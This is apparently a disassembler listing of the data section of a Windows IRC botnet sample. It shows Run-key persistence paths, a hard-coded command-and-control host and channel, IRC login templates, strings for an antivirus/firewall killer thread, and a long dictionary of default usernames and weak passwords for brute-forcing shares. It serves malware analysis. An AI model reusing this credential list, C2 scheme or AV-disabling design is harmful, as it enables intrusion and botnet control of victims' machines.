dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentpr_0 db 'GetCurrentProcess',0
a__1 db '_',0
aCreatepipe db 'CreatePipe',0
align 4
dd 654701D6h, 6D695474h, 726F4665h, 4174616Dh, 13F0000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 6547015Bh, 6C694674h
dd 7A695365h, 0C50065h, 646E6946h, 736F6C43h, 0BC0065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db '»',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ó',0
aFindnextfilea db 'FindNextFileA',0
db 'É',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 310h
aSetfilepointer db 'SetFilePointer',0
align 4
db 0E3h ; ã
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 83h ; ƒ
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0F4h
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 16Bh
aGetlocaltime db 'GetLocalTime',0
align 2
dw 299h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 9Ah ; š
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
aQ_0 db 'ï',0
aFreelibrary db 'FreeLibrary',0
dw 151h
aGetenvironment db 'GetEnvironmentVariableW',0
db 0Ch
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 6
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 9Bh ; ›
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 37Eh
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0AEh ; ®
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 6F4600EAh
dd 74616D72h, 7373654Dh, 41656761h, 2000000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 1F90000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550365h, 5670616Dh, 4F776569h, 6C694666h, 25E0065h
dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h
aCreatefilemapp db 'CreateFileMappingA',0
align 10h
db 14h
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 15Dh
aGetfiletime db 'GetFileTime',0
db '²',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 89h ; ‰
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 26Bh
aMultibytetowid db 'MultiByteToWideChar',0
db 0B6h ; ¶
db 3, 6Ch, 73h
aTrcmpia db 'trcmpiA',0
db 52h ; R
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 287h
aPeeknamedpipe db 'PeekNamedPipe',0
dw 170h
aGetlogicaldr_0 db 'GetLogicalDrives',0
align 2
dw 1FAh
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
dd 65480210h, 65527061h, 6F6C6C41h, 2CC0063h, 556C7452h
dd 6E69776Eh, 1D80064h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
dd 654701BEh, 73795374h, 546D6574h, 656D69h, 654701AFh
dd 61745374h, 70757472h, 6F666E49h, 1080041h, 43746547h
dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701DEh, 72655674h
dd 6E6F6973h, 1500000h
aGetenvironme_0 db 'GetEnvironmentVariableA',0
dd 6548020Ah, 65447061h, 6F727473h, 2080079h, 70616548h
dd 61657243h, 6574h, 69560378h, 61757472h, 6572466Ch, 3750065h
dd 74726956h, 416C6175h, 636F6C6Ch, 22C0000h, 61427349h
dd 69725764h, 74506574h, 0FC0072h, 43746547h, 666E4950h
dd 0F5006Fh, 41746547h, 5043h, 6547018Bh, 4D454F74h, 5043h
dd 6152029Dh, 45657369h, 70656378h, 6E6F6974h, 2120000h
dd 70616548h, 657A6953h, 23A0000h, 614D434Ch, 72745370h
dd 41676E69h, 23B0000h, 614D434Ch, 72745370h, 57676E69h
dd 3620000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
aA_2 db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
aU_0 db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 14Dh
aGetenvironme_1 db 'GetEnvironmentStrings',0
dw 14Fh
aGetenvironme_2 db 'GetEnvironmentStringsW',0
align 4
db 19h
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 1B1h
aGetstdhandle db 'GetStdHandle',0
align 2
dw 15Eh
aGetfiletype db 'GetFileType',0
db 2Ch ; ,
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
db 'å',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 10h
db 0B2h ; ²
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1B5h
aGetstringtypew db 'GetStringTypeW',0
align 4
db 3Dh ; =
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 229h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 226h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 305h
aSetendoffile db 'SetEndOfFile',0
align 2
a4 db '4',0
aComparestringa db 'CompareStringA',0
align 4
a5 db '5',0
aComparestringw db 'CompareStringW',0
align 2
dw 308h
aSetenvironment db 'SetEnvironmentVariableA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
dd 0ACh dup(0)
dword_42A000 dd 0 dd offset loc_40121A
dd offset sub_401236
dd offset sub_40D6D6
dd offset sub_40D76E
dd offset sub_40EF81
dd offset sub_426FB4
dword_42A01C dd 0 dword_42A020 dd 0 dd offset sub_41D822
dd offset sub_420A6D
dd offset sub_422F2B
dd offset sub_424F82
dword_42A034 dd 0 dword_42A038 dd 0 dd offset sub_422FD0
dword_42A040 dd 0 dword_42A044 dd 0 dd offset sub_424F93
dword_42A04C dd 0 dword_42A050 dd 78h dword_42A054 dd 80000002h off_42A058 dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000001h, 42A1B4h, 80000001h, 42A184h
dword_42A06C dd 6272h ; sub_40F8BC+24o ...
dword_42A070 dd 1B58h ; sub_401252+5ACr
dword_42A074 dd 1A0Bh dword_42A078 dd 7E4h dword_42A07C dd 45h ; sub_40B945+3Br
dword_42A080 dd 201h word_42A084 dw 7C7h ; DATA XREF: sub_401B66:loc_404791r
align 4
dword_42A088 dd 1 dword_42A08C dd 1 ; sub_418A34+Cr
byte_42A090 db 2Eh ; DATA XREF: sub_401B66+9F7r
; sub_401B66+AB1r ...
align 4
dword_42A094 dd 0Dh ; sub_40ABBD+5Fr ...
dword_42A098 dd 1 ; sub_401B66+26Er ...
aH43yh4ckernt db 'h43yh4ckerNT',0 ; DATA XREF: sub_401252+5Do
; sub_401B66:loc_4044B5o ...
align 4
aH1d3b0tVersion db 'h1d3b0t Version h4cker',0 ; DATA XREF: sub_401B66:loc_404996o
align 4
aH4cker db 'h4cker',0 ; DATA XREF: sub_401B66+7C5Do
; sub_401B66+7D20o
align 4
aNeta_leetz_inf db 'neta.leetz.info',0 ; DATA XREF: sub_401252+4E5o
; sub_401252+59Do
aGxxx db '#Gxxx',0 ; DATA XREF: sub_401252+505o
; sub_401252+5B3o ...
align 4
a_gxxx_ db '.Gxxx.',0 ; DATA XREF: sub_401252+51Co
; sub_401252+5C5o
align 4
byte_42A0EC db 6Eh ; DATA XREF: sub_401252:loc_40182Dr
; sub_401252+5E9o
db 65h, 74h, 61h
dd 65656C2Eh, 692E7A74h, 6F666Eh
dword_42A0FC dd 78784723h, 78hdword_42A104 dd 7878472Eh, 2E78hbyte_42A10C db 52h ; DATA XREF: sub_401252+143o
; sub_401252+167w ...
db 65h, 61h, 6Ch
dd 736B6574h, 6578652Eh, 0
dword_42A11C dd 6E6E6977h, 61736B74h, 61622E7Ah, 74haWindowsNetwork db 'Windows Network Service',0 ; DATA XREF: sub_401000+Bo
aNt_0 db 'NT',0 ; DATA XREF: .packed:0040AC3Bo
align 4
aWinsysz_dat db 'winsysz.dat',0
aI_3 db '+i',0 ; DATA XREF: sub_401B66+7DA0o
align 4
aGxxx_0 db '#Gxxx',0 ; DATA XREF: sub_401B66+1C6Bo
; sub_401B66+3015o ...
align 10h
aGxxx_1 db '#Gxxx',0 ; DATA XREF: sub_401B66+4366o
align 4
aGxxx_2 db '#Gxxx',0 ; DATA XREF: sub_401B66+4065o
; sub_401B66+41B3o
align 10h
off_42A170 dd offset a@h4cker ; DATA XREF: sub_401B66+7CC0r
; "*@h4cker"
off_42A174 dd offset aMircV6_16Khale ; DATA XREF: sub_401B66+828r
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .packed:off_42A058o
align 4
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A628+28o
; sub_41A94E+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A628+D4o
; sub_41A94E+D4o
align 8
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
dd offset byte_43FE14
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 8
dword_42A4A8 dd 10h ; sub_401B66+A8Dr ...
aIntranet db 'intranet',0 ; DATA XREF: .packed:0042A494o
align 4
aLan db 'lan',0 ; DATA XREF: .packed:0042A48Co
aMain db 'main',0 ; DATA XREF: .packed:0042A488o
align 4
aWinpass db 'winpass',0 ; DATA XREF: .packed:0042A484o
aBlank db 'blank',0 ; DATA XREF: .packed:0042A480o
align 4
aOffice db 'office',0 ; DATA XREF: .packed:0042A47Co
align 4
aControl db 'control',0 ; DATA XREF: .packed:0042A478o
aXp db 'xp',0 ; DATA XREF: .packed:0042A474o
align 4
aNokia db 'nokia',0 ; DATA XREF: .packed:0042A470o
align 10h
aHp db 'hp',0 ; DATA XREF: .packed:0042A46Co
align 4
aSiemens db 'siemens',0 ; DATA XREF: .packed:0042A468o
aCompaq db 'compaq',0 ; DATA XREF: .packed:0042A464o
align 4
aDell db 'dell',0 ; DATA XREF: .packed:0042A460o
align 4
aCisco db 'cisco',0 ; DATA XREF: .packed:0042A45Co
align 4
aIbm db 'ibm',0 ; DATA XREF: .packed:0042A458o
aOrainstall db 'orainstall',0 ; DATA XREF: .packed:0042A450o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:0042A44Co
align 4
aSql db 'sql',0 ; DATA XREF: .packed:0042A448o
aSa db 'sa',0 ; DATA XREF: sub_401B66+1B23o
; .packed:0042A444o
align 10h
aDb1234 db 'db1234',0 ; DATA XREF: .packed:0042A440o
align 4
aDb1 db 'db1',0 ; DATA XREF: .packed:0042A438o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:0042A434o
align 10h
aData db 'data',0 ; DATA XREF: .packed:0042A430o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:0042A42Co
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:0042A428o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .packed:0042A424o
align 4
aAccess db 'access',0 ; DATA XREF: .packed:0042A420o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:0042A418o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .packed:0042A414o
align 10h
aDomain db 'domain',0 ; DATA XREF: .packed:0042A410o
align 4
aHello db 'hello',0 ; DATA XREF: .packed:0042A40Co
align 10h
aHell db 'hell',0 ; DATA XREF: .packed:0042A408o
align 4
aGod db 'god',0 ; DATA XREF: .packed:0042A404o
aSex db 'sex',0 ; DATA XREF: .packed:0042A400o
aSlut db 'slut',0 ; DATA XREF: .packed:0042A3FCo
align 4
aBitch db 'bitch',0 ; DATA XREF: .packed:0042A3F8o
align 10h
aFuck db 'fuck',0 ; DATA XREF: .packed:0042A3F4o
align 4
aExchange db 'exchange',0 ; DATA XREF: .packed:0042A3F0o
align 4
aBackup db 'backup',0 ; DATA XREF: .packed:0042A3ECo
align 4
aTechnical db 'technical',0 ; DATA XREF: .packed:0042A3E8o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .packed:0042A3E4o
align 4
aLogin db 'login',0 ; DATA XREF: .packed:0042A3E0o
align 4
aMary db 'mary',0 ; DATA XREF: .packed:0042A3DCo
align 4
aKatie db 'katie',0 ; DATA XREF: .packed:0042A3D8o
align 4
aKate db 'kate',0 ; DATA XREF: .packed:0042A3D0o
align 4
aGeorge db 'george',0 ; DATA XREF: .packed:0042A3CCo
align 4
aEric db 'eric',0 ; DATA XREF: .packed:0042A3C8o
align 4
aChris db 'chris',0 ; DATA XREF: .packed:0042A3C4o
align 4
aIan db 'ian',0 ; DATA XREF: .packed:0042A3C0o
aNeil db 'neil',0 ; DATA XREF: .packed:0042A3BCo
align 4
aLee db 'lee',0 ; DATA XREF: .packed:0042A3B8o
aBrian db 'brian',0 ; DATA XREF: .packed:0042A3B4o
align 4
aSusan db 'susan',0 ; DATA XREF: .packed:0042A3ACo
align 4
aSue db 'sue',0 ; DATA XREF: .packed:0042A3A8o
aSam db 'sam',0 ; DATA XREF: .packed:0042A3A4o
aLuke db 'luke',0 ; DATA XREF: .packed:0042A3A0o
align 4
aPeter db 'peter',0 ; DATA XREF: .packed:0042A39Co
; .packed:0042A3B0o
align 4
aJohn db 'john',0 ; DATA XREF: .packed:0042A398o
align 4
aMike db 'mike',0 ; DATA XREF: .packed:0042A394o
align 4
aBill db 'bill',0 ; DATA XREF: .packed:0042A390o
align 4
aFred db 'fred',0 ; DATA XREF: .packed:0042A38Co
align 4
aJoe db 'joe',0 ; DATA XREF: .packed:0042A388o
aJen db 'jen',0 ; DATA XREF: .packed:0042A384o
aBob db 'bob',0 ; DATA XREF: .packed:0042A380o
; .packed:0042A3D4o
aQwe db 'qwe',0 ; DATA XREF: .packed:0042A37Co
aZxc db 'zxc',0 ; DATA XREF: .packed:0042A378o
aAsd db 'asd',0 ; DATA XREF: .packed:0042A374o
aQaz db 'qaz',0 ; DATA XREF: .packed:0042A370o
aWin2000 db 'win2000',0 ; DATA XREF: .packed:0042A36Co
aWinnt db 'winnt',0 ; DATA XREF: .packed:0042A368o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: .packed:0042A364o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .packed:0042A360o
align 10h
aWin98 db 'win98',0 ; DATA XREF: .packed:0042A35Co
align 4
aWindows db 'windows',0 ; DATA XREF: .packed:0042A358o
aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:0042A354o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .packed:0042A350o
aOem db 'oem',0 ; DATA XREF: .packed:0042A34Co
aUser db 'user',0 ; DATA XREF: sub_401B66+45D6o
; .packed:0042A348o
align 10h
aHomeuser db 'homeuser',0 ; DATA XREF: .packed:0042A344o
align 4
aHome db 'home',0 ; DATA XREF: .packed:0042A340o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .packed:0042A33Co
align 10h
aAccounts db 'accounts',0 ; DATA XREF: .packed:0042A338o
align 4
aInternet db 'internet',0 ; DATA XREF: .packed:0042A334o
; .packed:0042A490o
align 4
aWww db 'www',0 ; DATA XREF: .packed:0042A330o
aWeb db 'web',0 ; DATA XREF: .packed:0042A32Co
aOutlook db 'outlook',0 ; DATA XREF: .packed:0042A328o
aMail db 'mail',0 ; DATA XREF: .packed:0042A324o
align 10h
aQwerty db 'qwerty',0 ; DATA XREF: .packed:0042A320o
align 4
aNull_1 db 'null',0 ; DATA XREF: .packed:0042A31Co
align 10h
aServer db 'server',0 ; DATA XREF: sub_401B66+3E30o
; .packed:0042A314o
align 4
aSystem db 'system',0 ; DATA XREF: .packed:0042A310o
align 10h
aChangeme db 'changeme',0 ; DATA XREF: .packed:0042A308o
align 4
aLinux db 'linux',0 ; DATA XREF: .packed:0042A304o
align 4
aUnix db 'unix',0 ; DATA XREF: .packed:0042A300o
align 4
aDemo db 'demo',0 ; DATA XREF: .packed:0042A2FCo
align 4
aNone db 'none',0 ; DATA XREF: .packed:0042A2F8o
align 4
aTest db 'test',0 ; DATA XREF: .packed:0042A2F0o
align 4
a2004 db '2004',0 ; DATA XREF: .packed:0042A2ECo
align 4
a2003 db '2003',0 ; DATA XREF: sub_41B1FC+BAo
; .packed:0042A2E8o
align 4
a2002 db '2002',0 ; DATA XREF: .packed:0042A2E4o
align 4
a2001 db '2001',0 ; DATA XREF: .packed:0042A2E0o
align 4
a2000 db '2000',0 ; DATA XREF: .packed:0042A2DCo
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .packed:0042A2D8o
align 4
a123456789 db '123456789',0 ; DATA XREF: .packed:0042A2D4o
align 4
a12345678 db '12345678',0 ; DATA XREF: .packed:0042A2D0o
align 10h
a1234567 db '1234567',0 ; DATA XREF: .packed:0042A2CCo
a123456 db '123456',0 ; DATA XREF: .packed:0042A2C8o
align 10h
a12345 db '12345',0 ; DATA XREF: .packed:0042A2C4o
align 4
a1234 db '1234',0 ; DATA XREF: .packed:0042A2C0o
align 10h
a123 db '123',0 ; DATA XREF: .packed:0042A2BCo
a12 db '12',0 ; DATA XREF: .packed:0042A2B8o
align 4
a1: ; DATA XREF: .packed:0042A2B4o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .packed:0042A2B0o
aPwd db 'pwd',0 ; DATA XREF: .packed:0042A2ACo
aPass_0 db 'pass',0 ; DATA XREF: .packed:0042A2A8o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .packed:0042A2A4o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .packed:0042A2A0o
align 10h
aPassword db 'password',0 ; DATA XREF: .packed:0042A29Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: .packed:0042A298o
align 4
aAdm db 'adm',0 ; DATA XREF: .packed:0042A294o
aDb2 db 'db2',0 ; DATA XREF: .packed:0042A270o
; .packed:0042A43Co
aOracle db 'oracle',0 ; DATA XREF: .packed:0042A26Co
; .packed:0042A454o
align 4
aDba db 'dba',0 ; DATA XREF: .packed:0042A268o
aDatabase db 'database',0 ; DATA XREF: .packed:0042A264o
; .packed:0042A41Co
align 4
aDefault db 'default',0 ; DATA XREF: .packed:0042A260o
; .packed:0042A30Co
aGuest_0 db 'guest',0 ; DATA XREF: .packed:0042A25Co
; .packed:0042A2F4o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .packed:0042A258o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .packed:0042A254o
; .packed:0042A49Co
aStudent db 'student',0 ; DATA XREF: .packed:0042A250o
; .packed:0042A498o
aOwner db 'owner',0 ; DATA XREF: .packed:0042A24Co
align 4
aComputer db 'computer',0 ; DATA XREF: .packed:0042A248o
align 4
aRoot db 'root',0 ; DATA XREF: .packed:0042A244o
; .packed:0042A318o
align 10h
aStaff db 'staff',0 ; DATA XREF: .packed:0042A240o
; .packed:0042A4A0o
align 4
aAdmin db 'admin',0 ; DATA XREF: .packed:0042A23Co
; .packed:0042A290o
align 10h
aAdmins db 'admins',0 ; DATA XREF: .packed:0042A238o
; .packed:0042A28Co
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .packed:0042A234o
; .packed:0042A288o
aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:0042A230o
; .packed:0042A284o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .packed:0042A22Co
; .packed:0042A280o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .packed:0042A228o
; .packed:0042A27Co
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A180o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A17Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A178o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_42A174o
align 4
a@h4cker db '*@h4cker',0 ; DATA XREF: .packed:off_42A170o
align 10h
dword_42A9B0 dd 234032Dh, 75636573h, 2036572haFailedToStartR db '- Failed to start registry thread, error: <%d>.',0
dword_42A9EC dd 234032Dh, 75636573h, 2036572haRegistryMonito db '- Registry monitor active.',0
align 4
dword_42AA14 dd 234032Dh, 75636573h, 2036572haFailedToStartS db '- Failed to start secure thread, error: <%d>.',0
align 10h
dword_42AA50 dd 234032Dh, 75636573h, 2036572haSystemSecureMo db '- System secure monitor active.',0
unk_42AA7C db 2Dh ; - ; DATA XREF: sub_401252+3E1o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_42AABC db 2Dh ; - ; DATA XREF: sub_401252+390o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 10h
dword_42AAE0 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_401252+355o
dd 2E646574h, 0
dword_42AAFC dd 25207325h, 25222064h, 2273hdword_42AB08 dd 255C7325h, 73h ; sub_416028+7Eo ...
dword_42AB10 dd 73257325h, 0 ; sub_40FF08+E9o ...
unk_42AB18 db 2Dh ; - ; DATA XREF: sub_401891+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_4019F7+55o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4019F7+28o
align 10h
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7DA8o
align 10h
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7D93o
align 10h
unk_42AB80 db 2Dh ; - ; DATA XREF: sub_401B66+7D7Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_42ABA0 db 2Dh ; - ; DATA XREF: sub_401B66+7D62o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 10h
unk_42ABC0 db 2Dh ; - ; DATA XREF: sub_401B66+7D0Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401B66+7CEAo
align 4
unk_42AC14 db 2Dh ; - ; DATA XREF: sub_401B66+7CA0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 10h
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401B66+7C91o
; sub_401B66+7CFEo
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401B66+7C7Do
align 4
asc_42AC94: ; DATA XREF: sub_401B66+7C4Do
unicode 0, <~>,0
unk_42AC98 db 2Dh ; - ; DATA XREF: sub_401B66+7BFCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
unk_42ACBC db 2Dh ; - ; DATA XREF: sub_401B66+7B92o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_42ACE4 db 2Dh ; - ; DATA XREF: sub_401B66+7B4Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_42AD08 db 2Dh ; - ; DATA XREF: sub_401B66+7B2Co
db 3, 34h, 2
db 6Dh ; m
